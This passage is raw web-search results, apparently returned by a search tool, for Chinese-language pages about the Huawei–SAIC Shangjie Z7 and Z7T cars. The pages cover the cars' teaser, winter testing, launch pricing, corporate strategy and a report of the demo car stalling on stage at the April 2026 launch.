万起满配上市\n 🔗 https://www.zhihu.com/question/2030295130230477843\n 📄 4 月 22 日鸿蒙智行春季新品发布会上,尚界 Z7、Z7T 正式上市,售价分别为 21.98 万起和 22.98 万起,强势引爆全网热度,吸\n\n9. 尚界Z7 | Z7T - 鸿蒙智行官网\n 🔗 https://hima.auto/shangjie/z7-z7t\n 📄 # 尚界 Z7 Z7T\n\n 尚界 Z7 及 Z7T KV\n\n\\广告创意 | 车型信息(外观、内饰、色彩)和功能界面,可能与最⁠终量产车型存在差异,请以实际销售车型为⁠准。\n\n俯身向前,用速度开路。 \n 双面姿态,亮内在锋芒。\n\n不羁美学,猎装,猎风,猎未知之境。 \n 风尚轿跑,无拘,无畏,抵无边自由。\n\n问界 M8 \n\n## 型色并茂, 独你闪耀。\n\n问界 M8 \n\n## 自在...\n\n10. 轿车猎装二选一!尚界Z7 是有点好玩在身上的\n 🔗 https://www.youtube.com/watch?v=Xi5Q90G0U7E\n 📄 # 轿车猎装二选一!尚界 Z7 是有点好玩在身上的\n## 42HOW\n12100 subscribers\n10 likes\n\n### Description\n787 views\nPosted: 3 Apr 2026\n猎装版和轿车版本同步上市见过吗?尚界 Z7 和尚界 Z7T 这波就一起来了。\n\n1 comments\n### Transcript:", "filters": {"topic": "general"}, "query": "尚界Z7 华为 上汽 轿车 发布", "results": [{"index": 1, "title": "尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?", "url": "https://chejiahao.autohome.com.cn/info/24687213", "content": "移动App触屏版小程序i车商本地服务\n\n扫码打开汽车之家小程序\n\n点赞\n\n评论\n\n收藏\n\n分享\n\n当前位置:\n\n尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?\n\n车图腾\n\n车家号·0浏览·2026-01-07 20:20 · 北京\n\n日前,华为鸿蒙智行与上汽集团的合作品牌尚界,发布了旗下第二款车型—— 尚界Z7(参数|询价)的预告图。此前,相关方面曾透露会于2026年第一季度推出一款高端轿跑车型,并称其外观可比肩某款欧洲百万级车型。\n\n根据官方发布的预告图,我们看到,尚界Z7的侧面造型与保时捷纯电车型Taycan颇有几分相似之处。车头部分则延续了尚界H5的家族风格,车顶配有激光雷达硬件;侧面车门处采用隐藏式门把手,并配有大尺寸轮圈。此外,车尾的尾灯造型与Taycan看上去比较接近。\n\n与此同时,网络上也流传了一张尚界Z7猎装版车型的谍照。可以看到,新车尾部造型颇为饱满,预计会有不错的储物空间。现阶段,官方并未公布新车的动力参数、具体配置、售价等更多信息,后续我们将持续关注。\n\n本内容来自汽车之家创作者,不代表汽车之家的观点和立场。\n\n文章标签\n\n车系标签\n\n点赞\n\n评论\n\n收藏\n\n分享\n\n举报/纠错\n\n文中提及\n\n尚界Z7\n\n21.98-29.98万\n\n4.46\n\n本文作者\n\n车图腾\n\n车图腾4.4万关注 · 1.0万作品\n\n关注\n\n让你涨姿势的汽车自媒体\n\n作者其他作品\n\n进入主页\n\n腾势Z硬顶版将于成都车展亮相,敞篷版新增配色,预售68万元起\n\n### 腾势Z硬顶版将于成都车展亮相,敞篷版新增配色,预售68万元起\n\n昨天 23:08全新一代奇瑞艾瑞泽7专利图曝光!设计大变 更时尚,成都车展亮相\n\n### 全新一代奇瑞艾瑞泽7专利图曝光!设计大变 更时尚,成都车展亮相\n\n昨天 22:442027宝马X3官图发布!设计升级,引入AI大模型,成都车展亮相 [...] 昨天 22:442027宝马X3官图发布!设计升级,引入AI大模型,成都车展亮相\n\n### 2027宝马X3官图发布!设计升级,引入AI大模型,成都车展亮相\n\n昨天 22:26比亚迪大汉将于成都车展开启预售!定位大型车,纯电版续航1008km\n\n### 比亚迪大汉将于成都车展开启预售!定位大型车,纯电版续航1008km\n\n昨天 22:06\n\n影响力榜单\n\n热门内容\n\n 今日\n 本周\n\n换一换\n\n试驾福特蒙迪欧运动版:V6感觉、A级车油耗,兼顾激情与家用!\n\n07:21\n\n### 试驾福特蒙迪欧运动版:V6感觉、A级车油耗,兼顾激情与家用!\n\n前天 23:29谁说硬派就等于受罪?泰钽700第一个不服\n\n06:43\n\n### 谁说硬派就等于受罪?泰钽700第一个不服\n\n昨天 13:47烂路山路都能打,MG07辅助驾驶有短板吗?\n\n04:08\n\n### 烂路山路都能打,MG07辅助驾驶有短板吗?\n\n昨天 01:04理想L6我的全能伙伴\n\n11:48\n\n### 理想L6我的全能伙伴\n\n昨天 08:47\n\n精彩视频\n\n换一换\n\n年轻人第一台科技轿跑怎么选?全方位体验尚界Z7\n\n07:29\n\n### 年轻人第一台科技轿跑怎么选?全方位体验尚界Z7\n\n年轻人第一台科技轿跑怎么选?全方位体验尚界Z7\n\n玩车教授\n\n预算20万出头要“高颜值+高智商”,它们谁才是你的梦中情车?\n\n14:08\n\n### 预算20万出头要“高颜值+高智商”,它们谁才是你的梦中情车?\n\n预算20万出头要“高颜值+高智商”,它们谁才是你的梦中情车?\n\n爱车兵团\n\n双“7”深度体验,拼辅助比操控享空间 谁更拿捏年轻用户?\n\n14:57\n\n### 双“7”深度体验,拼辅助比操控享空间 谁更拿捏年轻用户?\n\n双“7”深度体验,拼辅助比操控享空间 谁更拿捏年轻用户?\n\n玩车教授圆梦 20W 级纯电轿跑,谁才是你的专属答案 [...] 双“7”深度体验,拼辅助比操控享空间 谁更拿捏年轻用户?\n\n玩车教授圆梦 20W 级纯电轿跑,谁才是你的专属答案\n\n16:21\n\n### 圆梦 20W 级纯电轿跑,谁才是你的专属答案\n\n圆梦 20W 级纯电轿跑,谁才是你的专属答案\n\n新出行\n\n新车资讯\n\n扫码下载汽车之家App\n\n© 2026汽车之家 www.autohome.com.cn\n\n京公网安备 11010802000104号 \n京ICP备09113703号-1 \n信息网络传播视听节目许可证: 0110553 \n广播电视节目制作经营许可证 \n公司名称:北京车之家信息技术有限公司 \n中央网信办违法和不良信息举报中心 \n违法和不良信息举报电话:400-868-5856 \n举报邮箱:jubao@autohome.com.cn\n\n隐私协议营业执照\n\n2026/8/18 00:14:26", "score": 0.84183896, "published_date": ""}, {"index": 2, "title": "华为x上汽联合打造--尚界z7无伪装冬测首次曝光 | Huawei and SAIC Jointly Develop -- SAIC Z7 Uncamouflaged Winter Testing", "url": "https://www.youtube.com/watch?v=Q3uhQ7BjVtQ", "content": "The SAIC Z7, Shangjie's all-new premium coupe, made its first public appearance during winter testing without camouflage, showcasing its core performance capabilities comprehensively. Powered by the Huawei Turing platform across the entire lineup, the SAIC Z7 delivered outstanding performance in multiple rigorous tests under extreme cold and snowy conditions. Combined with its strikingly designed coupe silhouette, it achieves a dual presentation of aesthetics and capability. As a product backed by the combined technological strengths of SAIC and Huawei, the SAIC Z7's debut has generated significant market anticipation for its market performance, demonstrating its potential to make a strong impact in the premium coupe segment. [...] ### Description\n6418 views\nPosted: 1 Mar 2026\n尚界品牌全新高端轿跑尚界Z7冬测无伪装实车的首次公开亮相,也是其核心性能的全方位展示。依托全系搭载的华为途灵平台,尚界Z7在极寒冰雪环境的多重严苛测试中表现亮眼,结合极具设计感的轿跑造型,实现了颜值与实力的双重呈现。作为上汽与华为双强技术背书的产品,尚界Z7的亮相让市场对其上市表现充满期待,也展现出其冲击高端轿跑市场的实力。 [...] # 华为x上汽联合打造--尚界z7无伪装冬测首次曝光 | Huawei and SAIC Jointly Develop -- SAIC Z7 Uncamouflaged Winter Testing\n## CN.科技发布会\n24100 subscribers\n105 likes", "score": 0.81665546, "published_date": ""}, {"index": 3, "title": "尚界Z7/Z7T | 华为+上汽,造了台“最懂年轻人”的车? - 知乎专栏", "url": "https://zhuanlan.zhihu.com/p/2012843367285945611", "content": "尚界品牌正式推出鸿蒙智行首款猎装车——尚界Z7T,定位风尚科技猎装,与风尚科技轿跑尚界Z7同台亮相。九色可选、随动四维屏首发、灵感橱窗首搭——这套组合拳", "score": 0.78552294, "published_date": ""}, {"index": 4, "title": "余承东:鸿蒙智行最年轻的车来了!新一代激光雷达智驾系统亮相 - 证券时报", "url": "https://stcn.com/article/detail/3661702.html", "content": "与此同时,鸿蒙智行正式官宣了与上汽联合打造的全新车型——尚界Z7与尚界Z7T。余承东表示,尚界Z7定位风尚科技轿跑,是“鸿蒙智行最年轻的车”。\n\n鸿蒙智行累计交付128万辆\n\n此次发布会是鸿蒙智行2026年的首场大型技术活动,其背后是华为持续加码智能汽车赛道的研发投入。\n\n余承东介绍,鸿蒙智行目前已形成AITO问界、LUXEED智界、STELATO享界、MAEXTRO尊界及SAIC尚界五大品牌矩阵,全面覆盖从主流到高端的智能电动汽车市场。截至2026年3月3日,鸿蒙智行累计交付量达128万辆。\n\n值得一提的是,鸿蒙智行与江淮打造的尊界S800上市9个月累计交付超1.5万辆,连续5个月稳居国内百万级豪车销量冠军。\n\n发布新一代激光雷达技术\n\n辅助驾驶、智能驾驶仍是行业关注的热点。\n\n余承东透露,超九成鸿蒙智行用户使用辅助驾驶功能。鸿蒙智行已全系升级华为乾崑智驾ADS 4.1,辅助驾驶体验与安全能力实现全面跃升,辅助驾驶总里程达3.73亿公里,相比去年春节增长210%,辅助驾驶活跃用户占比达92%。\n\n在3月4日发布会上,华为智能汽车解决方案BU CEO靳玉志正式发布了新一代双光路图像级激光雷达。该技术在行业内首创双光路架构,广角长焦一体成像,实现图像级细节呈现,分辨率提升4倍,全方位守护全场景出行安全。据介绍,该款激光雷达产品线束达到896线,为目前全球量产最高规格,对小目标、低反射率与异型障碍物的感知距离进一步提升。\n\n据悉,鸿蒙智行旗下问界M9旗舰版与尊界S800将成为首批首发搭载车型。\n\n迎合年轻人的新车来了\n\n在发布会尾声,余承东带来了一组“彩蛋”——继尚界H5后,鸿蒙智行与上汽联合推出迎合年轻人的全新车型:尚界Z7与尚界Z7T。 [...] 余承东表示,尚界Z7定位风尚科技轿跑,是“鸿蒙智行最年轻的车”,从车身高级型面到都市流光大灯,充分满足年轻用户的个性化表达。新车推出电光紫粉配色,并提供多种个性化车色选择,全方位覆盖年轻用户的多元审美偏好。\n\n内饰方面,尚界Z7首发随动四维屏,支持前后伸缩和左右旋转,可自动转向、智能迎宾,呼叫小艺即可转向应答,人机交互更智能、更有趣,满足年轻人的情绪价值。\n\n与此同时,鸿蒙智行还发布了首款猎装车型——尚界Z7T,定位风尚科技猎装。该车拥有前卫运动的造型、更自由的装载空间,平衡个性颜值与实用性,满足年轻人更多元的户外用车场景需求。\n\n业内人士分析,从主打高颜值、运动化设计和命名策略来看,尚界Z7与Z7T可能对标小米SU7、小鹏P7等热门年轻化车型,进一步丰富鸿蒙智行在主流消费市场的产品矩阵。\n\n对于尚界Z7及Z7T的更多细节,余承东透露,预计将在3月底揭晓更多信息。\n\n排版:刘珺宇\n\n校对:刘星莹\n\n责任编辑: 高蕊琦\n\n券商中国\n\n深圳\n\n声明:证券时报力求信息真实、准确,文章提及内容仅供参考,不构成实质性投资建议,据此操作风险自担\n\n下载\"证券时报\"官方APP,或关注官方微信公众号,即可随时了解股市动态,洞察政策信息,把握财富机会。\n\n用户评论\n\n登录后可以发言\n\n网友评论仅供其表达个人看法,并不表明证券时报立场\n\n发表评论\n\n暂无评论\n\n时报热榜\n\n换一换\n\n \n\n热点视频\n\n换一换\n\n关于我们|服务条例|联系我们|版权声明|网站地图|线索提交\n\n备案号:粤ICP备09109218号-7|增值电信业务经营许可证:粤B2-20080118|互联网新闻信息服务许可证10120170066|粤公网安备44030002008846号\n\n违法和不良信息举报电话:0755-83514034 邮箱:bwb@stcn.com 中央网信办违法和不良信息举报中心|证券时报网举报中心 [...] 移动版 网页版)\n\n \n\n 首页\n 快讯\n 新闻 \n\n 要闻 金融 评论 产经 创投 滚动\n 视频 \n\n 视频 直播 路演\n 投资 \n\n A股 公司 新股 基金 港美股\n 数据 \n\n 数据资讯 盯盘面 看资金 追风向 解财报 淘新股 再融资 港股 基金 科创板\n 信披+ \n\n 全部 沪市主板 深市主板 科创板 创业板 北交所 新三板 深股通 沪股通\n 专题\n 地方 \n\n 京 津 冀 晋 蒙 辽 吉 黑 沪 苏 浙 皖 闽 赣 鲁 豫 鄂 湘 粤 桂 琼 渝 川 黔 滇 藏 陕 甘 青 宁 新 鹏\n 服务 \n\n 人民鉴真 投关服务 投教服务 其他服务\n\n公众号\n\n 电子报 客户端 \n\n您当前的位置:证券时报 > 公司 > 正文\n\n余承东:鸿蒙智行最年轻的车来了!新一代激光雷达智驾系统亮相\n\n来源:证券时报网作者:胡飞军2026-03-04 20:47\n\n字号\n\n超大\n\n大\n\n标准\n\n小\n\n点赞\n\n分享\n\n华为鸿蒙智行又有新动作。\n\n3月4日,华为在深圳举办鸿蒙智行技术焕新发布会。华为常务董事、产品投资评审委员会主任、终端BG董事长余承东在发布会上披露,截至3月3日,鸿蒙智行全系累计交付量已达128万辆。其中,尊界S800上市9个月累计交付超1.5万辆,连续5个月稳居国内百万级豪车销量榜首。\n\n在技术层面,鸿蒙智行重点发布了业界首创的新一代双光路图像级激光雷达技术。该技术通过广角与长焦一体成像,实现图像级细节呈现,分辨率提升,进一步强化全场景出行安全守护能力。", "score": 0.7668008, "published_date": ""}, {"index": 5, "title": "上汽集团官网", "url": "https://www.saicmotor.com/chinese/xwzx/mtbd/2026/63682.shtml", "content": "一、对准用户,方能校准自己\n\n 任何面向用户的深刻变革,必然始于内部的决心。2025年,上汽的关键调整,都清晰指向了\"更敏捷地响应用户与市场\"。上汽集团启动近年来最大规模的组织与人事调整,核心是打破壁垒,让资源向能直接触达和满足用户需求的品牌与关键技术集中。品牌矩阵的焕新,是最直观的体现,让资源不再分散,而是聚焦于两类明确的目标。\n\n 其一,自主品牌接棒扛旗。果断整合品牌资源,与华为联手打造全新品牌 \"尚界\" ,首款车H5融合华为智能技术与上汽制造体系,上市后精准切入家庭用户对\"耐用、安全、高智能\"的需求,迅速打开市场,单月销量迅速破万。第二台定位轿跑的尚界Z7也预计在今年春天上市,仅公布了局部照,就被称为\"最美鸿蒙\"。\n\n尚界Z7的侧脸图\n\n 常青树品牌\"荣威\",依托DMH超级混动技术,深耕\"可靠、舒适、长续航\"的主流家用市场,让高端配置成为国民标配。MG品牌则以年轻姿态进入全球视野,用\"年轻、风尚、智趣\"的基因吸引追求个性和驾驶乐趣的用户,以Cyberster 的个性创新和MG4的技术平权,夯实自己的\"潮牌\"属性。智己作为上汽集团全力打造的高端品牌,是旗舰技术的最佳载体。LS6和LS9相互配合,合力攻占20万和30万级两大核心赛道,成为驱动销量增长和品牌向上的绝对主力。几大品牌各司其职,共同构成了覆盖不同价格带和不同用户圈层的自主梯队。\n\n 其二,是合资品牌升级焕新,推动合资板块进入2.0阶段。上汽通用别克推出高端子品牌\"至境\",旗下新能源MPV至境世家打造了行业首个\"五恒\"健康座舱,让用户畅快呼吸;上汽奥迪推出全新AUDI品牌,积极融入本土智能化浪潮。大众ID.系列在保持德系驾控基因的同时,智舱智驾全面向\"中国速度\"看齐,配齐主流科技配置,进军主流市场。\n\n即将上市的上汽大众ID.ERA 9X [...] 即将上市的上汽大众ID.ERA 9X\n\n 还有搭载华为乾崑智能辅助驾驶技术的上汽奥迪A5L Sportback、搭载文心一言和DeepSeek的途观L Pro,从这些产品可以看出,合资车型不再只是\"全球车\"简单粗暴地导入,而是带上了鲜明的\"中国烙印\",切实满足本地化需求。这场\"鸡蛋从内打破\"的变革,逻辑非常朴素:只有内部组织先对准用户,外部产品才能对准需求。\n\n二、朋友圈越大,能力拼图越全\n\n 为了满足用户对汽车产品日益复杂的要求和极高的期待,2025年,上汽集团提出整零协同、美美与共的概念,把\"开放合作\"写进战略核心。一是\"强强联合\",快速提升用户体验。与华为的深度合作,让尚界品牌在智能驾驶与座舱体验上拥有了\"一步到位\"的成熟体验;与OPPO的\"手车互联\",让数字生活无缝上车;与豆包共创的AI车机,则旨在提供更有\"活人感\"的交互体验;已注入华域汽车的固态电池龙头企业清陶动力,可以大大缓解里程和安全焦虑,给予用户物理层面的安心。\n\n 二是前瞻布局,为未来的用户进行价值投资。上汽2025年新增的投资中,有近七成新增投资投向了AI、人形机器人、高端制造等\"新质生产力\",并并聚焦芯片、材料等\"卡脖子\"环节。例如,投资视辰科技助力智驾系统迭代,布局宇树科技探索未来出行服务生态,通过华域汽车实现车规级MCU芯片的量产突破,联合宝钢股份研发高强钢等材料,投资恩捷股份构建电池电驱等材料的自主供应链。这并非为了自研一切,自造一切,而是以资本为线,串起产业链的珍珠。在充满不确定性的时代,编织一张可靠且领先的供应链网络,最终确保用户能持续用到稳定、先进的产品。\n\n三、技术标签,最终是为了用户体验 [...] 三、技术标签,最终是为了用户体验\n\n 所有的调整与合作,最终都要通过技术,转化为用户可感可知的价值。2025年,上汽将其技术体系凝练为\"智慧脑、健壮身、强劲心\"三大标签,并以此为基础,集中推出一批直击用户核心痛点的技术与产品——瞄准安全焦虑、续航焦虑与智能焦虑,逐一破题。\"智慧脑\"治\"智能焦虑\":智己IMAD 3.0的\"全国都能开\"无图NOA和\"一键AI代驾\",让用户面对复杂路况,也能从从容容游刃有余;尚界品牌左手拉着华为乾崑ADS,右手牵着鸿蒙座舱,提供的是\"到手即用\"的成熟无感体验。\n\n智己旗舰SUV—LS9\n\n \"健壮身\"治\"安全焦虑\":行业首装的半固态电池,低温性能更好,安全度更高,比行业最高标准再提20%以上,让用户踏踏实实地把心放肚子里。\"灵蜥数字底盘\"给予智己LS6仅4.79米的转弯半径,让用户能在狭窄巷道灵活穿梭,提升的是新手司机日常用车的便利与信心。\"强劲心\"治\"续航焦虑\":DMH6.0超级混动系统,热效率突破46.3%,荣威M7 DMH综合续航超2000公里,智己LS9的\"恒星超级增程\"续航高达1508公里……这些数字瞄准的,就是用户对补能、能耗和长途出行的根本顾虑。技术本身不是目的,解决问题才是。当\"固态电池\"、\"超级混动\"、\"智能辅助驾驶\"、\"数字底盘\"……从一个个技术名词,变成车主津津乐道的用车体验时,技术的价值才真正得以实现。这种将用户价值置于商业考量之前的决策,恰恰是基于长期主义的思考。\n\n四、出海,接受全球用户检验", "score": 0.72698855, "published_date": ""}, {"index": 6, "title": "尚界Z7展示車在新品發布會上被指「趴窩」 | 大紀元", "url": "https://www.epochtimes.com/b5/26/4/22/n14747517.htm", "content": "「眼下沒第三方故障報告,最關鍵還是官方直面說明原因。粉絲熱情能拉來訂單,但要真正留住用戶,還得靠產品穩定和透明溝通,不然熱度一過,質疑可能更難消。」\n\n鴻蒙智行是華為在2023年聯合賽力斯、奇瑞、北汽、江淮、上汽等車企組建的智能汽車技術生態聯盟,是華為智選車業務的升級。\n\n責任編輯:任子君#\n\n標籤\n\n華為鴻蒙智行尚界Z7趴窩\n\n相關專題:\n\n夏松報導\n\n## 相關文章\n\n小鵬汽車方向機頻頻失靈 懸掛系統屢屢趴窩陸國產電車尷尬:趴窩 數十輛車搶充電樁消息:華為生產出問題致汽車製造商推遲交付華為停止與中國三大汽車門戶網站合作\n\n如果您有新聞線索或資料給大紀元,請進入安全投稿爆料平台。\n\n## 留言\n\n 大紀元保留刪除惡意留言的權利,包括低俗、誤導或攻擊信仰等內容\n\nThe Epoch Times\n\n本網站圖文內容歸大紀元所有, 任何單位及個人未經許可,不得擅自轉載使用。\n\nCopyright© 2000 - 2026 The Epoch TimesAssociation Inc.All Rights Reserved.\n\nThe Epoch Times\n\n電子報關於我們授權與許可服務條款隱私政策投稿中心廣告服務捐助大紀元\n\n最新新聞\n\n 中國\n 國際\n 科技\n 體育\n\n 評論\n 台灣\n 財經\n 社會\n\n 美國\n 港澳\n 娛樂\n 網聞\n\n華人社區\n\n 紐約\n 洛杉磯\n 溫哥華\n 澳洲\n\n 舊金山\n 多倫多\n 歐洲\n 其它\n\n文化藝術\n\n 文化百科\n 人生感悟\n 史海鉤沉\n 教育園地\n 藝海漫遊\n\n 文明探索\n 文學世界\n 人物春秋\n 預言傳奇\n\n生活天地\n\n 房產天地\n 醫療保健\n 縱橫職場\n 旅遊休閒\n\n 留學移民\n 生活時尚\n 美食天地\n\n本網站圖文內容歸大紀元所有, 任何單位及個人未經許可,不得擅自轉載使用。 [...] 大紀元\n\n简体\n\n首頁即時中國美國國際評論台灣香港健康視頻聽紀元財經科技娛樂文化生活神韻\n\n首頁right arrow\n\n新聞right arrow大陸新聞right arrow\n\n科教文化right arrow文章正文\n\n# 尚界Z7展示車在新品發布會上被指「趴窩」\n\n2026年4月22日晚,在鴻蒙智行2026年春季新品發布會上,尚界Z7未與其它展車同步駛離舞台,賽力斯總裁講到問界M6時,該車輛仍在舞台中央,期間,駕駛員多次嘗試啟動未果並下車操作。(網絡截圖)\n\n2026-04-2300:44 中港台時間|04-2300:44 更新\n\n人氣853\n\n【大紀元2026年04月22日訊】(大紀元記者夏松報導)4月22日晚,在鴻蒙智行2026年春季新品發布會上,尚界Z7未與其它展車同步駛離舞台,賽力斯總裁講到問界M6時,該車輛仍在舞台中央。期間,駕駛員多次嘗試啟動未果並下車操作。隨即,尚界Z7「趴窩」成為網絡熱點。\n\n4月22日晚,在鴻蒙智行春季新品發布會上,華為常務董事、產品評審委員會主任、終端BG董事長余承東正式發布了尚界Z7、尚界Z7T、問界M6三款新車。目前,尚界Z7、Z7T已正式上市,售價分別為21.98萬元(人民幣,下同)起和22.98萬元起,問界M6起售價25.98萬元。\n\n不過,期間出現一段「插曲」,引發尚界Z7被質疑「趴窩」。\n\n現場視頻顯示,一輛粉紅色尚界Z7在發布會中途滯留舞台(點擊視頻),駕駛員多次嘗試啟動未果並下車操作,其它三台展車均正常離場。網友猜測「掛擋故障」。當晚,標籤為「鴻蒙智行發布會事故」「尚界Z7趴窩」「尚界Z7」等話題迅速發酵,一度登頂微博。 [...] 網友表示,「電車發布會上好像是首例趴窩。」「尚界就這麼直愣愣趴窩在中間……裡面司機抓耳撓腮打視頻,太幽默了。」「這可是新車發布會呀,這車是咋回事。」「發布會上尚界z7壞台上現場視頻來了,大家都在問怎麼回事。」\n\n「在鴻蒙智行發布會介紹尚界Z7後,車輛未與其它展車一同駛離舞台。現場視頻顯示司機在車內反覆操作中控屏幕、嘗試掛擋未果,導致車輛滯留至後續問界M6發布環節。直播間因此關閉評論區功能,觀眾直呼『尚界壞台上了』。」\n\n「尚界趴窩了開不下去,以致於人家賽力斯總裁講問界都停在上面。」「趴窩不至於,應該是車鑰匙認證出了問題,原本流程應該是開下去的,要不然賽力斯總裁上場,台子上停輛上汽就很不科學。」「講問界了,尚界還在那兒幹嘛?」\n\n「尚界Z7趴窩到底是流程設計還是直播事故啊,當時我看到尚界Z7停在台上無法開走,就感覺這一段絕對會引發熱議,我只能說當你壓力大時看看這個工作人員。」\n\n「非常尷尬的現場。鴻蒙智行發布會現場,都講到問界了,尚界Z7還是遲遲不下場,疑似趴窩。不過,主辦方後續解釋為了同時展示四款新車。」\n\n有網友反駁,「問題是你不通知司機嗎,那司機來來回回反反覆覆下車是幹嘛的。」「駕駛員不下車檢查的話,可能還能圓回去。」\n\n數碼博主「筱磷」發博文表示,「尚界Z7發布會現場『趴窩』這事,表面看是現場突發狀況,換個角度看,更像是流量高峰裡的一次『信任考驗』。\n\n「現場情況一邊是視頻顯示司機反覆操作中控、掛擋無果,車輛滯留舞台C位,影響後續展示;一邊是官方稱是為了同時展示四款新車的預設安排,司機沒收到指令鬧了烏龍,粉絲也力證是設計環節。\n\n「但年輕人買20多萬的車,最看重品控與安全。這事不管真假,都容易放大大家對新車可靠性的擔憂,尤其和肖戰粉絲的熱情下單形成反差。官方後續用四車同台離場、發碰撞測試視頻來對沖,本質是想穩住輿論。", "score": 0.6685563, "published_date": ""}, {"index": 7, "title": "尚界Z7", "url": "https://baike.baidu.com/item/%E5%B0%9A%E7%95%8CZ7/67229569", "content": "06:42\n\n灵活好开又智能 体验尚界Z7动态驾驶篇\n\n03:29\n\n尚界Z7 重新定义科技轿跑\n\n03:24\n\n华为鸿蒙智行尚界Z7预售价22.98万起,对标小米SU7\n\n08:19\n\n尚界Z7双车重磅发布,鸿蒙智行解锁新设计,年轻座驾够潮吗?#尚界Z7四维屏情绪价值拉满# #尚界Z7双箭齐发#\n\n01:37\n\n尚界Z7全路况试驾:“最好开”的鸿蒙智行车型诞生?\n\n06:06\n\n王姨带你看车圈--雨天深度动态试驾尚界Z7 从静态心动到动态封神 这台纯电轿跑太好开\n\n02:14\n\n超详细解读尚界Z7,一次性聊完优缺点#尚界Z7#\n\n14:36\n\n尚界新车Z7曝光,运动型轿车主打年轻市场?\n\n04:17\n\nImage 9: 订阅更新\n\n订阅更新\n\n2 有用+1\n\n1\n\n华为全场景智慧生活直播中,余承东正式曝光尚界Z7拥有905km续航实力 。\n\n尚界Z7 冬测\n\n\n\nbschoolk\n\nImage 21Image 22\n\n\n\n王远江0857\n\nImage 23Image 24\n\n\n\n望星空X探银河\n\nImage 25Image 26\n\n\n\n至帅硕心\n\nImage 27Image 28\n\n\n\n1 发布历程2 配置参数3 外观与内饰4 车型版本与价格5 产品特点与定位6 试驾体验\n\n###### 相关搜索\n\n 罗茨风机厂家排名\n 宝马x5汽车报价\n 汽车拉缸修理要多少钱\n 华为什么手机最好用\n 小学三年级奥数题\n 奢侈品名牌包包回收\n 数码大师手机版下载\n\nImage 29[](\n\nImage 30: 图片\n\n尚界Z7\n\n选择朗读音色\n\nImage 31: 成熟女声\n\n成熟女声\n\nImage 32: 成熟男声\n\n成熟男声\n\nImage 33: 磁性男声\n\n磁性男声\n\nImage 34: 年轻女声\n\n年轻女声\n\nImage 35: 情感男声 [...] 网页新闻贴吧知道网盘图片视频地图文库资讯采购百科\n\n百度首页\n\n登录\n\n注册\n\nImage 1: 百度百科\n\n进入词条 全站搜索国际版帮助\n\nImage 2: 百度百科\n\n进入词条 全站搜索国际版帮助\n\n播报 编辑讨论 3收藏 赞\n\n登录\n\n首页\n\n历史上的今天\n\n百科冷知识\n\n图解百科\n\n秒懂百科\n\n懂啦\n\n秒懂本尊答\n\n秒懂大师说\n\n秒懂看瓦特\n\n秒懂五千年\n\n秒懂全视界\n\n特色百科\n\n动态百科\n\n数字博物馆\n\n非遗百科\n\n艺术百科\n\n科学百科\n\n知识专题\n\n史记2025·科学100词\n\n观千年·见今朝\n\n中国航天\n\n食品百科\n\n云游博物馆\n\n数字文物守护计划\n\n加入百科\n\n新人成长\n\n进阶成长\n\n任务广场\n\n百科团队\n\n校园团\n\n分类达人团\n\n热词团\n\n繁星团\n\n蝌蚪团\n\n权威合作\n\n合作模式\n\n常见问题\n\n联系方式\n\n个人中心\n\n# 尚界Z7\n\n播报 编辑讨论 3上传视频\n\n中文\n\n鸿蒙智行尚界首款轿跑新车\n\nImage 3\n\nImage 4\n\n尚界Z7 8万小定+肖战代言能否碾压?#尚界Z7##2026北京车展#\n\n01:10\n\nVideo 1\n\nImage 5\n\nImage 6\n\n尚界 Z7 实车我看完了!鸿蒙智行第一款轿跑 11 分钟超详细剧透!\n\n11:45\n\nImage 7\n\nImage 8\n\n比男朋友还懂你~是什么样的体验#尚界Z7动态评测#鸿蒙智行春季新品发布会#尚界Z7最美科技轿跑#尚界Z7T#尚界Z7\n\n05:47\n\n尚界Z7体验分享,真的太像了\n\n08:34\n\n尚界 Z7|双箭齐发,精彩回顾\n\n01:36\n\n华为技术加持 颜值性能双在线的纯电轿车 尚界Z7配置怎么选?\n\n05:45\n\n鸿蒙智行尚界 Z7 实用与性能双在线,智驾讲武德\n\n06:42\n\n灵活好开又智能 体验尚界Z7动态驾驶篇\n\n03:29\n\n尚界Z7 重新定义科技轿跑\n\n03:24 [...] Image 33: 磁性男声\n\n磁性男声\n\nImage 34: 年轻女声\n\n年轻女声\n\nImage 35: 情感男声\n\n情感男声\n\n0\n\n0\n\n2x\n\n1.5x\n\n1.25x\n\n1x\n\n0.75x\n\n0.5x\n\nAudio 1Audio 2\n\n分享到微信朋友圈\n\n打开微信“扫一扫”即可将网页分享至朋友圈\n\n新手上路\n\n成长任务编辑入门编辑规则本人编辑Image 36: new\n\n我有疑问\n\n内容质疑在线客服官方贴吧意见反馈\n\n投诉建议\n\n举报不良信息未通过词条申诉投诉侵权信息封禁查询与解封\n\n©2026 Baidu使用百度前必读|百科协议|隐私政策|百度百科合作平台|京ICP证030173号Image 37\n\n京公网安备11000002000001号\n\n订阅词条 0人已订阅\n\n可以前往 个人中心-订阅词条 查看所有已订阅词条\n\n词条内容更新\n\n当词条有内容变更时,将通过短信和百科站内信通知您\n\n词条热门讨论\n\n当词条有热门讨论时,将通过短信和百科站内信通知您\n\n确认订阅\n\n是否取消订阅更新?\n\n取消订阅后将无法收到当前词条的内容或讨论的更新\n\n取消订阅\n\n再想想", "score": 0.6445166, "published_date": ""}, {"index": 8, "title": "尚界Z7 售价21.98 万起满配上市", "url": "https://www.zhihu.com/question/2030295130230477843", "content": "4 月 22 日鸿蒙智行春季新品发布会上,尚界 Z7、Z7T 正式上市,售价分别为 21.98 万起和 22.98 万起,强势引爆全网热度,吸", "score": 0.6415577, "published_date": ""}, {"index": 9, "title": "尚界Z7 | Z7T - 鸿蒙智行官网", "url": "https://hima.auto/shangjie/z7-z7t", "content": "# 尚界 Z7 Z7T\n\n 尚界 Z7 及 Z7T KV\n\n\\广告创意 | 车型信息(外观、内饰、色彩)和功能界面,可能与最⁠终量产车型存在差异,请以实际销售车型为⁠准。\n\n俯身向前,用速度开路。 \n 双面姿态,亮内在锋芒。\n\n不羁美学,猎装,猎风,猎未知之境。 \n 风尚轿跑,无拘,无畏,抵无边自由。\n\n问界 M8 \n\n## 型色并茂, 独你闪耀。\n\n问界 M8 \n\n## 自在大空间, 娱乐由我。\n\n问界 M8 \n\n## 鸿蒙 ALPS 健康座舱, 沁心怡人。\n\n问界 M8 \n\n## 华为途灵平台, 开出坦途。\n\n问界 M8 \n\n## 华为乾崑智驾® ADS 4.1, 安全至尚1。\n\n0102030405 \n05\n\n## 开出去 跑成风景\n\n 